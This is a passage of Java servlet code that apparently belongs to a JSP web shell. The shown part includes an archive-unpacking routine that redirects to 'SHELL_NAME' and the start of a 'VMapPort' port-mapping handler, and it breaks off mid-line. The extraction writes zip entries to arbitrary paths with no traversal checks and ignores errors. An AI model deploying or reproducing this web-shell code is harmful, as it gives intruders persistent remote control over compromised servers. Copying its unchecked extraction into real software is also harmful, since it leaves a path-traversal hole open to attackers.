  2993.                                 while (e.hasMoreElements()) {
  2994.                                         ZipEntry en = (ZipEntry) e.nextElement();
  2995.                                         String entryPath = en.getName();
  2996.                                         int index = entryPath.lastIndexOf("/");
  2997.                                         if (index != -1)
  2998.                                                 entryPath = entryPath.substring(0, index);
  2999.                                         File absEntryFile = new File(save, entryPath);
  3000.                                         if (!absEntryFile.exists()
  3001.                                                         && (en.isDirectory() || en.getName().indexOf("/") != -1))
  3002.                                                 absEntryFile.mkdirs();
  3003.                                         BufferedOutputStream output = null;
  3004.                                         BufferedInputStream input = null;
  3005.                                         try {
  3006.                                                 output = new BufferedOutputStream(new FileOutputStream(
  3007.                                                                 new File(save, en.getName())));
  3008.                                                 input = new BufferedInputStream(file.getInputStream(en));
  3009.                                                 byte[] b = new byte[1024];
  3010.                                                 int len = input.read(b);
  3011.                                                 while (len != -1) {
  3012.                                                         output.write(b, 0, len);
  3013.                                                         len = input.read(b);
  3014.                                                 }
  3015.                                         } catch (Exception ex) {
  3016.                                         } finally {
  3017.                                                 try {
  3018.                                                         if (output != null)
  3019.                                                                 output.close();
  3020.                                                         if (input != null)
  3021.                                                                 input.close();
  3022.                                                 } catch (Exception ex1) {
  3023.                                                 }
  3024.                                         }
  3025.                                 }
  3026.                                 file.close();
  3027.                                 JSession.setAttribute(MSG, "UnPack File Success!");
  3028.                                 response.sendRedirect(SHELL_NAME);
  3029.                         } catch (Exception e) {
  3030.  
  3031.                                 throw e;
  3032.                         }
  3033.                 }
  3034.         }
  3035.  
  3036.         //VMapPort
  3037.         private static class VmpInvoker extends DefaultInvoker {
  3038.                 public void invoke(HttpServletRequest request,
  3039.   &